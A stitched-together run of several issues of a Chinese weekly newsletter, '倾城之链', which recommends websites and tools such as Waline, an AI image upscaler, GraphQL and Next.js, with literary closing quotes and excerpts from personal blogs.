- 强大的安全性：内容校验、防灌水、保护敏感数据等；
- 登录支持：在允许匿名评论的基础上，支持账号注册，保持身份；
- 完全免费部署：可免费部署在 Vercel 上；
- 易于部署：多种部署部署方式和存储服务支持。
除了以上特征外，Waline 已经完成非常多优质功能，诸如：邮件（ 微信、 QQ、Telegram）通知，评论管理、评论删除、登录支持、Akismet、文章统计、多语言同步、基于 IP 的发布评论频率限制、 IP 黑名单、 重复内容检测、置顶评论、其它数据库支持（已支持 LeanCloud, MySQL, MongoDB, SQLite, PostgreSQL, CloudBase, Deta, 轻服务, GitHub）等等。最值得一提的是，它支持独立部署，您可以基于 Docker（docker-compose 或 Node），部署在自己的服务器上。
对倾城之链感兴趣的朋友，可通过 Web，小程序，快应用等渠道进行访问(后续将支持更多，如 VsCode 插件，Chrome 扩展等)。您有任何问题，欢迎随时向我们反馈（您可以通过官网反馈渠道，或添加如下客服微信），🤲 。
本期文末寄语
我曾七次鄙视自己的灵魂： 第一次，当它本可进取时，却故作谦卑； 第二次，当它在空虚时，用爱欲来填充； 第三次，在困难和容易之间，它选择了容易； 第四次，它犯了错，却借由别人也会犯错来宽慰自己； 第五次，它自由软弱，却把它认为是生命的坚韧； 第六次，当它鄙夷一张丑恶的嘴脸时，却不知那正是自己面具中的一副； 第七次，它侧身于生活的污泥中，虽不甘心，却又畏首畏尾。 ── 黎巴嫩裔美国诗人、画家 · 纪伯伦《我曾七次鄙视自己的灵魂》
倾城之链作为一个开放平台，旨在云集全球优秀网站，探索互联网中更广阔的世界；在这里，你可以轻松发现、学习、分享更多有用或有趣的事物。
您可能感兴趣的文章
- 优质网站同好者周刊（第 48 期）- 倾城之链
- 优质网站同好者周刊（第 47 期）- 倾城之链
- 优质网站同好者周刊（第 46 期）- 倾城之链
- 优质网站同好者周刊（第 45 期）- 倾城之链
- 优质网站同好者周刊（第 44 期）- 倾城之链
- 优质网站同好者周刊（第 43 期）- 倾城之链
- 优质网站同好者周刊（第 42 期）- 倾城之链
- 优质网站同好者周刊（第 41 期）- 倾城之链
- 优质网站同好者周刊（第 40 期）- 倾城之链
- 优质网站同好者周刊（第 39 期）- 倾城之链
- 优质网站同好者周刊（第 38 期）- 倾城之链
- 优质网站同好者周刊（第 37 期）- 倾城之链
- 优质网站同好者周刊（第 36 期）- 倾城之链
- 开启技术变现之路，探索第三收入来源
- 云集优站，尽在「倾城之链」
- 云集优站，尽在「倾城之链」其二
- 欲问美图何处寻？倾城之链有定音
- 超实用图片工具网站，值得典藏
- 高质量免费 🆓 图标资源大全
- 十佳 AI 产品工具，为生活添彩
- 最想与朋友分享的网站列表
- 博客 二丫讲梵 2022-01-15 21:47:04周刊维护在：https://github.com/eryajf/learning-weekly 欢迎投稿，推荐或自荐项目 /文章 /博客，请提交 issue 。
- 博客 晚晴幽草轩 2022-01-13 21:21:00
倾城之链作为一个开放平台，旨在云集全球优秀网站，探索互联网中更广阔的世界。此周刊，将汇聚过去一周倾城所收录的内容，以飨同好；欢迎推荐或自荐（仅限有独立域名的网站，可以是二级域名）。您如果要了解收录要求，请参见关于倾城。
备注：本周刊每周五生成，首发于个人微信公众号晚晴幽草轩、博客晚晴幽草轩，以及悠然宜想亭社区；此一键生成脚本基于 Deno 编写，并在 Github 开源：nicejade/nicelinks-weekly。
倾城博客
倾城之链作为一个开放平台，旨在云集全球优秀网站，探索互联网中更广阔的世界。倾城博客，旨在汇聚倾城之链所收录的内容，以博文的形式承载，提供检索功能，且具备极致丝滑访问体验，以飨同好者。
推荐语：倾城博客，基于 GatsbyJS 所搭建的网站，汇聚倾城之链所收录的内容，以文章的形式承载，并提供检索功能，提供给广大用户。倾城之链作为一个开放平台，旨在云集全球优秀网站，探索互联网中更广阔的世界；在这里，你可以轻松发现、学习、分享更多有用或有趣的事物。关于倾城之链更多详情，可参见云集优站，尽在「倾城之链」、云集优站，尽在「倾城之链」其二等文章阐述。
── 出自倾城之链 - 倾城博客
AI Image Upscaler - Enlarge & Enhance your Images for Free
关键字：upscale, upscale.media, let’s enhance, 2x image, 2x upscale, 2x upscale image, 4x image, 4x image upscale, 4x image, enhance image, enhance photo, higher resolution, higher resolution image, online upscale, online upscale image, low quality to high quality, high quality image, enhance picture, enhance resolution, image quality enhancer, image resolution enha
Upscale your image to 2x or 4x without losing any textures or details with our AI tool. Use our super-resolution tool and bring new life to your images.
推荐语：AI Image Upscaler，免费的（永久） AI 工具，可将图像分辨率提高 4 倍（big），而不会降低质量，并为您的所有个人和业务需求做好准备。其使用非常方便，上传、拖放图像或粘贴 URL，即可开始；需点击几下，就能基于强大的 AI 技术升级和增强您的图像；它支持 png、jpeg、jpg、webp 等格式。值得一提的是，它有以下独特的功能：
- 自动和快速的结果：借助我们强大的人工智能技术，整个升级过程在几秒钟内完成；
- 提高分辨率：使用我们先进的计算机视觉算法，您可以将分辨率提高 4 倍；
- 保留详细信息：保留图像中的纹理并以在图像放大时看起来逼真的方式增强它们；
Upscale.media 适合所有人：
专业人士
轻松增强低质量图像，为其他创意任务节省时间；从绘画到数字艺术，从肖像到风景，从徽标到产品目录图像，任何东西都可以升级。
电子商务
通过清晰的图像提高在线产品的转化率；通过使用 Upscale.media 处理不同平台的高分辨率要求来简化您的工作流程。
个人
将来自社交媒体的压缩图像放大多达 400%；增强从未如此简单，但在人工智能的帮助下，它可以在几秒钟内完成，而无需花费昂贵的工具。
借助 Upscale.media，任何人现在都可以升级和增强图像，无论他们是专业摄影师还是新手。
── 出自倾城之链 - AI Image Upscaler - Enlarge & Enhance your Images for Free
電腦玩物
分享各種行動工作技巧、雲端生活應用，善用數位工具改變你我的工作效率與生活品質。
推荐语：電腦玩物，是作者 Esor Huang（异尘行者）的个人部落格；Esor，是本站唯一的作者与站长；主要涉及云端办公室、数位笔记、时间管理等让人生更美好工作方法；在電腦玩物上可以读到 Esor 的这些文章：
- 最新云端工具、数位软体的真实心得分享。
- 科技工具如何真正活用到生活的具体经验。
- 关于工作效率、专案管理、时间管理、习惯养成的实作教学或观念反思。
- 如果你是 Google 云端办公室、Evernote 云端笔记的爱用者，那么这里有最深入的应用教学。
为什么在这个社群时代，作者还在努力写个人部落格（Blog 博客）呢？Esor 这样写道：“因为我希望把自己的完整想法、深入经验用精准文字记录并传播，能够跟网路上的你们彼此激荡。我期许自己在電腦玩物上的文章，有别于单纯的软体和服务介绍，而是更强调软体和服务背后的「数位工作思维及方法」，并说明实际应用后带来的「生活改变」，我分享的主题将会涵盖数位应用、时间管理到生活旅游中的科技人文观察，目前部落格每日点阅数超过 8 万，累积浏览人次更已突破一亿三千万人“。
近期，因为時間管理 Q&A：下班後如何避免滑一下手機就沒時間了？4 步驟調整習慣这篇文章，从而了解到電腦玩物这个网站，有志于提升自己的朋友们，不妨考虑关注下，闲来品读，增加阅历，开阔思维。
── 出自倾城之链 - 電腦玩物
二维码梦工厂 · 简单强大实用的艺术二维码生成器
简单强大实用的艺术二维码生成器。
推荐语：二维码梦工厂，是一款简单、强大、实用、在线的二维码生成器，可以为文本、网址、微信公众号生成二维码；其目标是使得用户：“不会 PS、AI 也可以做出精美的艺术二维码”。
- 功能强大：二维码梦工厂，提供优质图库、二维码模版、元素和码眼自定义、元素切割功能；
- 效果贼好：无需多余步骤，很容易就能制作高质量的作品；
- 简单上手：视频教程与常见问题应有尽有，使上手变得更加简单；
- 长期有效识别率高：制作的艺术二维码能保持长期有效，并且识别率超高；
值得一提的是，二维码梦工厂不仅提供高级编辑功能，而且提供很多精选模板，对精美二维码感兴趣的朋友，可以关注下。
── 出自倾城之链 - 二维码梦工厂 · 简单强大实用的艺术二维码生成器
对倾城之链感兴趣的朋友，可通过 Web，小程序，快应用等渠道进行访问(后续将支持更多，如 VsCode 插件，Chrome 扩展等)。您有任何问题，欢迎随时向我们反馈（您可以通过官网反馈渠道，或添加如下客服微信），🤲 。
本期文末寄语
真正的快乐，不是狂喜，亦不是苦痛，在我很主观的来说，它是细水长流， 碧海无波，在芸芸众生里做一个普通的人，享受生命一刹间的喜悦，那么我们即 使不死，也在天堂里了。── 现代 · 三毛《雨季不再来》
倾城之链作为一个开放平台，旨在云集全球优秀网站，探索互联网中更广阔的世界；在这里，你可以轻松发现、学习、分享更多有用或有趣的事物。
您可能感兴趣的文章
- 优质网站同好者周刊（第 47 期）- 倾城之链
- 优质网站同好者周刊（第 46 期）- 倾城之链
- 优质网站同好者周刊（第 45 期）- 倾城之链
- 优质网站同好者周刊（第 44 期）- 倾城之链
- 优质网站同好者周刊（第 43 期）- 倾城之链
- 优质网站同好者周刊（第 42 期）- 倾城之链
- 优质网站同好者周刊（第 41 期）- 倾城之链
- 优质网站同好者周刊（第 40 期）- 倾城之链
- 优质网站同好者周刊（第 39 期）- 倾城之链
- 优质网站同好者周刊（第 38 期）- 倾城之链
- 优质网站同好者周刊（第 37 期）- 倾城之链
- 优质网站同好者周刊（第 36 期）- 倾城之链
- 优质网站同好者周刊（第 35 期）- 倾城之链
- 优质网站同好者周刊（第 34 期）- 倾城之链
- 开启技术变现之路，探索第三收入来源
- 云集优站，尽在「倾城之链」
- 云集优站，尽在「倾城之链」其二
- 欲问美图何处寻？倾城之链有定音
- 超实用图片工具网站，值得典藏
- 高质量免费 🆓 图标资源大全
- 十佳 AI 产品工具，为生活添彩
- 最想与朋友分享的网站列表
- 博客 Jiajun的编程随想 2022-01-10 08:00:00《使用反射(reflect)对结构体赋值》[上一篇](./2022_01_09-gin_binding_args.md) 中，我们看了GIN是如何绑定参数并且校验的，本着知道如何使用也要知道底层原理的探索精神，这一篇中，我们自己来使用 `reflect` 实现一个轻量版的参数绑定...
- 博客 Jiajun的编程随想 2022-01-09 08:00:00《GIN 是如何绑定参数的》在GIN这个框架里，可以通过 `Bind` 系列的函数绑定并且校验参数，我们来看看是如何实现的。GIN 的binding分为两个系列...
- 博客 二丫讲梵 2022-01-08 06:08:28周刊维护在：https://github.com/eryajf/learning-weekly 欢迎投稿，推荐或自荐项目 /文章 /博客，请提交 issue 。
- 博客 构建我的被动收入 2022-01-07 08:00:00本文介绍下最近大火的Web3，以及NFTs与DeFi。
- 博客 晚晴幽草轩 2022-01-06 21:21:00
倾城之链作为一个开放平台，旨在云集全球优秀网站，探索互联网中更广阔的世界。此周刊，将汇聚过去一周倾城所收录的内容，以飨同好；欢迎推荐或自荐（仅限有独立域名的网站，可以是二级域名）。您如果要了解收录要求，请参见关于倾城。
备注：本周刊每周五生成，首发于个人微信公众号晚晴幽草轩、博客晚晴幽草轩，以及悠然宜想亭社区；此一键生成脚本基于 Deno 编写，并在 Github 开源：nicejade/nicelinks-weekly。
ERIK JOHANSSON
Website of Swedish surreal photographer Erik Johansson.
推荐语：ERIK JOHANSSON，一个承载超现实主义摄影的网站；Erik Johansson（生于 1985 年），是来自瑞典的摄影师和视觉艺术家。他的作品可谓是结合照片创造的超现实世界。Erik 主要从事个人项目，以及在世界各地举办展览。与传统摄影不同，他不捕捉瞬间，而是借助相机和想象力捕捉想法。目标是在单个帧中捕捉故事，并使其看起来尽可能逼真，即使场景本身包含不可能的元素。最后，一切都归结为解决问题，找到一种方法来捕捉不可能的事情。
对 Erik 来说，在他的作品中保持高度的现实主义总是很重要的。他想让观众觉得他们是场景的一部分。尽管他的工作包括大量后期制作和组合照片，但他总是试图在现场用相机捕捉尽可能多的东西。这通常意味着构建道具并使用创造性的方式来规划拍摄。
以逼真的方式组合图像时，光线和透视是至关重要的部分，如果某些部分无法在现场拍摄，则必须在受控环境中构建类似的场景。了解从创意和规划、摄影和后期制作的每一步，对于使一切无缝融合非常重要。每张照片和部分都有其目的。
Erik 总是自己做所有的后期制作，以完全控制最终结果。创意、摄影和后期制作都是相互关联的。最终图像并不比用于捕捉它的照片更好。就像照片不会变得比想法更强大。
Erik 的个人作品中没有计算机生成的、插图的或库存照片，只有他自己的照片的复杂组合。这是一个漫长的过程，他每年只创作大约 10 张新图像。如果您想了解更多关于图像如何变为现实的过程，请查看这些幕后视频。
Erik 既是一名摄影师，又是一名修图师，这使他能够创造出你能想象到的任何东西。了解过程中的每个步骤，可以完全控制从草图到最终图像的整个工作过程，以确保高质量的逼真结果。以这种方式创建图像需要大量的工作和准备才能获得逼真的结果。Erik 可用于全球委托项目。
网络广告人社区 - 分享国内外创意广告和网络营销及市场营销案例
关键字：网络广告人社区, 广告, 市场营销, 广告人才, 广告公司, 创意广告, 营销策划, 广告词, KPI, 广告设计, 品牌营销案例, 国外创意, 国外创意案例, 国外广告, 广告社区, 营销案例, 社会化媒体, 视频广告, 病毒营销案例, 公益广告, 微信营销
网络广告人社区(iwebad.com)致力于分享国外创意广告、网络营销、市场营销案例
推荐语：网络广告人社区（(webad），创建于 2007 年 12 月，是一家致力于原创翻译国外营销案例的垂直类传媒网站。创立的前几年，主要是分享国外创意 Banner；随着国内外互联网环境的改变，各种营销方式层出不穷，网站也由此扩展出整合营销、品牌营销、移动营销、病毒营销、社会化营销、活动网站、邮件广告等广告类型，设有 IT、金融、汽车、房地产、电信、日化用品、消费电子、食品饮料八大行业广告案例。网站现拥将近 10000 部国外案例，及 4000 多支创意 TVC，所传播视频在优酷、土豆、56 等视频网站累计播放量超过 5000 万次。
── 出自倾城之链 - 网络广告人社区 - 分享国内外创意广告和网络营销及市场营销案例
Create stunning product mockups easily and online - Smartmockups
Smartmockups enables you to create stunning high-resolution mockups right inside your browser within one interface across multiple devices.
推荐语：Smartmockups，轻松在线创建令人惊叹的产品模拟图。即使人在旅途，也可直接在浏览器中制作专业模板；忘了花上数小时学习如何使用 Photoshop 的痛苦吧。通过 Smartmockups，能直接在浏览器中，在一个界面中跨多个设备创建令人惊艳的高分辨率模板。它具有以下功能特点：
性能和可用性
- 这是基于网络的工具，可在所有浏览器中运行；
- 不需要经验或技能，用起来易如反掌；
- 可在台式机、智能手机和平板电脑中使用；
- 是市场上最快的模板生成工具；
丰富模版库
- 每周都有新模板；
- 专业照片和独立对象；
- 始终了解最新设备相关最新信息；
备选上传方式
- 以 JPG、PNG 或 PDF 格式上传图像，或以 MP4、MOV 或 GIF 格式上传视频；
- URL 屏幕截图，有高级设置；
- 可通过第三方整合上传素材；
支持自定义
- 按自己的尺寸通过裁切调整长宽比；
- 从最终导出的模板的 4 种不同的分辨率中进行选择；
- 尽享最优质量，没有数量限制；
最终导出的模板
- 按自己的尺寸通过裁切调整长宽比；
- 从最终导出的模板的 4 种不同的分辨率中进行选择；
- 尽享最优质量，没有数量限制；
即使不是设计能手，也可享用产品模板的强大功能，Smartmockups，你值得拥有。
── 出自倾城之链 - Create stunning product mockups easily and online - Smartmockups
Pika – Create beautiful screenshots quickly
A free app to quickly beautify your screenshots. You can add background gradients, tweak shadows, add rounded corners and more. You can save the image or copy it to clipboard.
推荐语：Pika，免费和开源网络应用程序，可快速美化您的屏幕截图（将无聊的屏幕截图变成漂亮的可共享图像）。您可以添加背景渐变、调整阴影、添加圆角、调整间距等等。其使用也非常简单，选择图片即可开始操作（支持粘贴截图）；您可以将图像保存为 PNG 文件或将其复制到剪贴板。
── 出自倾城之链 - Pika – Create beautiful screenshots quickly
对倾城之链感兴趣的朋友，可通过 Web，小程序，快应用等渠道进行访问(后续将支持更多，如 VsCode 插件，Chrome 扩展等)。您有任何问题，欢迎随时向我们反馈（您可以通过官网反馈渠道，或添加如下客服微信），🤲 。
本期文末寄语
你还年轻。不相信明天的青年就是对自己的背叛。人要生活，就一定要有信仰。信仰什么？相信一切事物和一切时刻的合理的内在联系，相信生活作为整体将永远延续下去，相信最近的东西和最远的东西。── 弗兰兹·卡夫卡 《午夜的沉默》
倾城之链作为一个开放平台，旨在云集全球优秀网站，探索互联网中更广阔的世界；在这里，你可以轻松发现、学习、分享更多有用或有趣的事物。
您可能感兴趣的文章
- 优质网站同好者周刊（第 46 期）- 倾城之链
- 优质网站同好者周刊（第 45 期）- 倾城之链
- 优质网站同好者周刊（第 44 期）- 倾城之链
- 优质网站同好者周刊（第 43 期）- 倾城之链
- 优质网站同好者周刊（第 42 期）- 倾城之链
- 优质网站同好者周刊（第 41 期）- 倾城之链
- 优质网站同好者周刊（第 40 期）- 倾城之链
- 优质网站同好者周刊（第 39 期）- 倾城之链
- 优质网站同好者周刊（第 38 期）- 倾城之链
- 优质网站同好者周刊（第 37 期）- 倾城之链
- 优质网站同好者周刊（第 36 期）- 倾城之链
- 优质网站同好者周刊（第 35 期）- 倾城之链
- 优质网站同好者周刊（第 34 期）- 倾城之链
- 开启技术变现之路，探索第三收入来源
- 云集优站，尽在「倾城之链」
- 云集优站，尽在「倾城之链」其二
- 欲问美图何处寻？倾城之链有定音
- 超实用图片工具网站，值得典藏
- 高质量免费 🆓 图标资源大全
- 十佳 AI 产品工具，为生活添彩
- 最想与朋友分享的网站列表
- 博客 酷 壳 – CoolShell 2022-01-02 16:38:13
这篇文章是《HTTP API 认证授权术》的姊妹篇，在那篇文章中，主要介绍了 HTTP API 认证和授权技术中用到的 HTTP Basic, Digest A...
The post 网络数字身份认证术 first appeared on 酷 壳 - CoolShell. - 博客 构建我的被动收入 2022-01-02 08:00:00本文分享一些关于财富认知的常识。
- 博客 MiaoTony's Blog 2022-01-01 21:00:001168
- 博客 构建我的被动收入 2022-01-01 08:00:00被动收入投资组合2021年Q4季报
- 博客 晚晴幽草轩 2021-12-31 21:21:00
倾城之链作为一个开放平台，旨在云集全球优秀网站，探索互联网中更广阔的世界。此周刊，将汇聚过去一周倾城所收录的内容，以飨同好；欢迎推荐或自荐（仅限有独立域名的网站，可以是二级域名）。您如果要了解收录要求，请参见关于倾城。
备注：本周刊每周五生成，首发于个人微信公众号晚晴幽草轩、博客晚晴幽草轩，以及悠然宜想亭社区；此一键生成脚本基于 Deno 编写，并在 Github 开源：nicejade/nicelinks-weekly。
metaSEO - Meta tags for best SEO
Generate meta tags in one click for the best SEO of your website, rank high in search results, and appear unique when someone shares your link!
推荐语：metaSEO，一个 SEO 相关的工具网站；支持一键生成元标签（meta tags，会增加社交相关属性，如
twitter:description等），为您的网站提供最佳的搜索引擎优化，使得在搜索结果中排名靠前；当有人在推特（twitter）等平台分享您的链接时，会显得很独特。实际使用，需要您自己输入网站名称、描述、关键字以及预览图片网址等信息（这一点，其实可以继续优化：先抓取，没有获取到再让用户自己填写）。── 出自倾城之链 - metaSEO - Meta tags for best SEO
更点 - 自编书平台: 微信书 博客印书 QQ 空间印书 微博印书
关键字：微信书, 自编书, 朋友圈印书, 相册, 微博印书, 博客印书, QQ 相册印书, QQ 说说印书, QQ 日志印书, 途牛游记印书, 电子书, 印刷, 礼品, 朋友圈做书, 博客做书, 微博做书, QQ 空间做书, 公众号文章做书
社交网站内容自动导出成电子书、印刷书，微信书、博客做书、QQ 日志做书、QQ 说说做书、QQ 相册做书、途牛游记做书、微博做书、朋友圈印书、公众号文章印书等，自动排版，在线编辑
推荐语：更点，一个在线自编书平台；支持在线编辑书和相册，图文编排，实时预览；适合：微信书、博客书、QQ 说说日志书、微博书、纪念册、写作书。可导入各社交网站内容，制作旅游集、宝宝相册、博客日志书等。已经支持：微信书、新浪/网易/搜狐博客成书、QQ 日志/说说成书、公众号文章成书、微博成书、美篇文章成书、知乎专栏成书、豆瓣日记成书等。鲜有接触类似产品，有尝试导入公众号内容来编书，一番操作，与预期似乎不太相符。
── 出自倾城之链 - 更点 - 自编书平台: 微信书 博客印书 QQ 空间印书 微博印书
GraphQL | A query language for your API
A query language for your API — GraphQL provides a complete description of the data in your API, gives clients the power to ask for exactly what they need and nothing more, makes it easier to evolve APIs over time, and enables powerful developer tools.
推荐语：GraphQL 是一种 API 查询语言和运行时，用于使用现有数据完成这些查询。GraphQL 为您的 API 中的数据提供了完整且易于理解的描述，让客户能够准确地询问他们需要什么，更容易随着时间的推移发展 API，并启用强大的开发人员工具。
GraphQL 是一种用于 API 的查询语言，也是一种服务器端运行时，用于使用您为数据定义的类型系统执行查询。GraphQL 不依赖于任何特定的数据库或存储引擎，而是由您现有的代码和数据支持。使用中，主要步骤为：描述您的数据、询问你想要的、获得可预测的结果；您可从以下几个特征说明，来更充分了解它：
- 询问你需要的，准确地得到：向您的 API 发送 GraphQL 查询，并准确获取您需要的内容，不多也不少。GraphQL 查询总是返回可预测的结果。使用 GraphQL 的应用程序既快速又稳定，因为它们控制的是获取的数据，而不是服务器。
- 在单个请求中获取多个资源：GraphQL 查询不仅可以访问一种资源的属性，还可以平滑地跟踪它们之间的引用。虽然典型的 REST API 需要从多个 URL 加载，但 GraphQL API 可以在单个请求中获取您的应用程序所需的所有数据。即使在移动网络连接速度较慢的情况下，使用 GraphQL 的应用程序也可以很快。
- 描述类型系统的可能性：GraphQL API 是按照类型和字段组织的，而不是端点。从单个端点访问数据的全部功能。GraphQL 使用类型来确保应用程序只询问什么是可能的，并提供清晰和有用的错误。应用程序可以使用类型来避免编写手动解析代码。
- 无需版本即可发展您的 API：在不影响现有查询的情况下向 GraphQL API 添加新字段和类型。老化字段可以被弃用并从工具中隐藏。通过使用一个不断发展的版本，GraphQL API 使应用程序能够持续访问新功能，并鼓励使用更简洁、更易于维护的服务器代码。
- 自带数据和代码：GraphQL 在整个应用程序中创建统一的 API，而不受特定存储引擎的限制。编写 GraphQL API，利用您现有的数据和代码以及多种语言的 GraphQL 引擎。您为类型系统中的每个字段提供函数，GraphQL 以最佳并发调用它们。
GraphQL 由 Facebook 开发，并于 2012 年首次应用于移动应用。GraphQL 规范于 2015 年实现开源。现在，它受 GraphQL 基金会监管。值得一提的是，著名开源框架 GatsbyJS 就基于 GraphQL 所构建，您可以通过使用它快速体验 GraphQL 的强大。
── 出自倾城之链 - GraphQL | A query language for your API
Next.js by Vercel - The React Framework
Production grade React applications that scale. The world’s leading companies use Next.js by Vercel to build static and dynamic websites and web applications.
推荐语：Next.js，一个用于 生产环境的 React 框架，为您提供生产所需的所有功能的最佳开发人员体验：混合静态和服务器渲染、TypeScript 支持、智能捆绑、路由预取等。无需配置。它具有以下功能特征：
- 图像组件和图像优化：自带 image 组件，改进的性能、视觉稳定性、更快的页面加载、资产灵活性。
- Next.js 分析：基于真实访问者数据，以及逐页洞察的真实灯塔（Lighthouse）分数；
- 零配置：自动编译并打包，从一开始就为生产环境而优化。
- 混合模式，SSG 和 SSR：在一个项目中同时支持构建时预渲染页面（SSG）和请求时渲染页面（SSR）。
- 增量静态生成：在构建之后以增量的方式添加并更新静态预渲染的页面。
- 支持 TypeScript：自动配置并编译 TypeScript。
- 快速刷新：快速、可靠的实时编辑体验，已在 Facebook 级别的应用上规模上得到验证。
- 基于文件系统的路由：每个 pages 目录下的组件都是一条路由。
- API 路由：创建 API 端点（可选）以提供后端功能。
- 内置支持 CSS：使用 CSS 模块创建组件级的样式。内置对 Sass 的支持。
- 代码拆分和打包：采用由 Google Chrome 小组创建的、并经过优化的打包和拆分算法。
Next.js 正在为变得更好而努力，如今，越来越多的公司在使用并喜爱 next.js，您可以 Next.js Showcase 了解到基于它所构建的精美网站。
── 出自倾城之链 - Next.js by Vercel - The React Framework
对倾城之链感兴趣的朋友，可通过 Web，小程序，快应用等渠道进行访问(后续将支持更多，如 VsCode 插件，Chrome 扩展等)。您有任何问题，欢迎随时向我们反馈（您可以通过官网反馈渠道，或添加如下客服微信），🤲 。
本期文末寄语
你的眼睛可真好看
里面有晴雨、日月、山川、江河、云雾、花鸟
但我的眼睛更好看
因为我的眼里有你
── 当代 · 余光中《你的眼睛真好看》倾城之链作为一个开放平台，旨在云集全球优秀网站，探索互联网中更广阔的世界；在这里，你可以轻松发现、学习、分享更多有用或有趣的事物。
您可能感兴趣的文章
- 优质网站同好者周刊（第 45 期）- 倾城之链
- 优质网站同好者周刊（第 44 期）- 倾城之链
- 优质网站同好者周刊（第 43 期）- 倾城之链
- 优质网站同好者周刊（第 42 期）- 倾城之链
- 优质网站同好者周刊（第 41 期）- 倾城之链
- 优质网站同好者周刊（第 40 期）- 倾城之链
- 优质网站同好者周刊（第 39 期）- 倾城之链
- 优质网站同好者周刊（第 38 期）- 倾城之链
- 优质网站同好者周刊（第 37 期）- 倾城之链
- 优质网站同好者周刊（第 36 期）- 倾城之链
- 优质网站同好者周刊（第 35 期）- 倾城之链
- 优质网站同好者周刊（第 34 期）- 倾城之链
- 开启技术变现之路，探索第三收入来源
- 云集优站，尽在「倾城之链」
- 云集优站，尽在「倾城之链」其二
- 欲问美图何处寻？倾城之链有定音
- 超实用图片工具网站，值得典藏
- 高质量免费 🆓 图标资源大全
- 十佳 AI 产品工具，为生活添彩
- 最想与朋友分享的网站列表
- 博客 构建我的被动收入 2021-12-31 08:00:00我的2021年度个人总结
- 博客 王子亭的博客 2021-12-31 01:00:00
2021 年新冠疫情仍然没有结束，我们甚至已经习惯了它的存在。
和蛋黄在昆山住了三年之后，今年最大的变化是我们搬到了上海。相比于之前在北京的一年，因为收入更高了也有条件在上海租更好的房子，离公司和地铁站都非常近，面积也并 不比昆山的房子小太多。
因为在走之前我有些舍不得我投入了这么多精力改造的家，直到搬走前三天我们才开始高强度地打包收拾。这次我们的物品达到了 惊人的 1000 千克、7.9 立方米，到了上海后又断断续续花了一个月收拾，买了沙发、桌子、电视、洗衣机、新的净水器，再次自己安装了窗帘杆，为了将洗碗机和洗衣机放到理想的位置做了不少改造，对于选择哪个房间做卧室（同时也决定了我们的桌子如何摆放）也纠结了很久。在又投入了这么多精力之后，我发现我也不会去想到昆山了，毕竟当下才是自己最理想的家。
上海的确有更多的地方可以逛、可以玩，但因为我周末总是下午才起床，所以我们不经常去比较远的地方。而是就像 2020 年一样，在夜里骑着电动车说走就走，走遍了家附近方圆七、八公里的区域。
新的环境也确实对我的情绪有一些改善。想到和蛋黄刚在一起的时候就说「重要的是我们在一起并不需要做出什么改变就可以很开心，而不一定要按照社会的期待去改变自己」，我得承认在一些事情上我没有做到，有时候会因为觉得大家都可以这样做而去要求蛋黄。但她却一直是这样做的，会包容我所有和其他人不一样的地方，从未要求我改变什么。
在工作方面最大的变化则是 LeanCloud 被心动收购，团队整体加入了 TapTap，办公地点也搬到了上海。公司被收购是一种非常独特的体验，整个过程充满了不确定性，自己和同事们也都在考虑各自后续的变化 —— 其实说起来那两个月都没什么心思工作。最后尘埃落定，加入一个新的公司时，你既是老员工，也是新员工，也有了更多的时间去审视自己与公司的关系。
我一直对于大公司非常抵触，我也绝对不会加入像阿里巴巴、拼多多、华为这样的公司。当公司规模大到老板无法知道每一个人在做什么的时候，就会开始引入组织架构。这种变化一方面带来了效率的降低 —— 部门间的利益和公司的利益不一定是一致的，需要大量的管理来「对齐」；另一方面也带来了一种系统性的压迫 —— 公司与员工的力量是如此地悬殊，制定和执行规则的人也与员工离得更远，他们会充分利用合同和协议将风险全部转移到员工身上，在这里要感谢我之前的两家公司从未让我有过这样的感觉。
心动的 CEO 黄一孟 在社交媒体上很活跃，也曾分享过心动使用 Slack 和 Confluence 实现内部透明，TapTap 的「离职致意金」和无限假期等政策，尤其后两者以我的理解是在倒逼中层管理人员来提高管理水平，及时辞退不合适的员工。且不论结果如何，对于这种解决「大公司问题」的尝试我是认可的，也是心动不同于同等规模公司的地方。
今年下半年受邀参与了几个智能合约项目的代码审计，虽然实际完成的工作很少，但也算是补习了近几年智能合约和 DeFi 的发展。可以看到现在已经很少有人再去质疑 Bitcoin 或者 Ethereum 的意义了，而是将焦点放在了 DeFi 和 NFT 上，这说明了整个密码货币产业还在不断在向前发展，我几年前曾写过 一篇文章 说比特币是一场实验，那么我觉得在今天这个时间点可以说这场实验已经成功了。
图为我持有的所有密码货币在 2021 年的波动
继软路由和 NAS 之后，今年投入了一些时间搭建 基于 Home Assistant 的智能家居，花的精力不算太多，主要是将部分受支持的米家设备接入了操作体验更好的 HomeKit。
今年 和蛋黄一起玩了双人成行、底特律：成为人类 和 DYSMANTLE，不同于之前引导蛋黄玩游戏的尝试，这三部作品都是素质过硬且适合双人游玩的游戏，我们也都通关了这三部作品。
- 博客 Jiajun的编程随想 2021-12-30 08:00:00《你好 2022(2021 年终总结)》2021年又要结束了，今年的主旋律是去杠杆，到年底基本上把杠杆降到了可以驾驭的程度，目前的杠杆率可以应对2022年的装修了，算是完成了年初定下的目标。技术上，今年把 Redis 源码读了一遍，把 Nginx 读了一小部分，Android 开发由于觉得拼 UI 太无聊，并且对我来说也没有太多使用场景，后来放弃了。总体上感觉技术进步不如往年大，不过这也符合预期...
- 博客 构建我的被动收入 2021-12-24 08:00:00本文梳理在分布式系统中时间对事件序列的影响，介绍逻辑时钟、向量时钟及混合逻辑时钟等不同算法的解决思路。
- 博客 晚晴幽草轩 2021-12-23 21:21:00
倾城之链作为一个开放平台，旨在云集全球优秀网站，探索互联网中更广阔的世界。此周刊，将汇聚过去一周倾城所收录的内容，以飨同好；欢迎推荐或自荐（仅限有独立域名的网站，可以是二级域名）。您如果要了解收录要求，请参见关于倾城。
备注：本周刊每周五生成，首发于个人微信公众号晚晴幽草轩、博客晚晴幽草轩，以及悠然宜想亭社区；此一键生成脚本基于 Deno 编写，并在 Github 开源：nicejade/nicelinks-weekly。
美国宇航局（NASA）图像和视频库
关键字：NASA, Image, Video
NASA Image and Video Library.
推荐语：NASA 图像和视频库，带你看宇宙太空相关图片、视频、及声音；支持检索。它用于再现 3 维模型的图像、音频、视频和计算机文件，例如任何格式的纹理贴图和多边形数据；您可以将此材料用于教育或信息目的，包括照片集、教科书、公共展览、计算机图形模拟和 Internet 网页。此一般权限扩展到个人网页。NASA 拥有大量 在线图像 和 视频库，包括 历史图像、 当前任务、 天文图片、 地球图像 以及 搜索 NASA 图像的方法。
Windi CSS
关键字：windi, windicss, tailwind, tailwindcss, vitejs, svelte, vue
Next generation utility-first CSS framework.
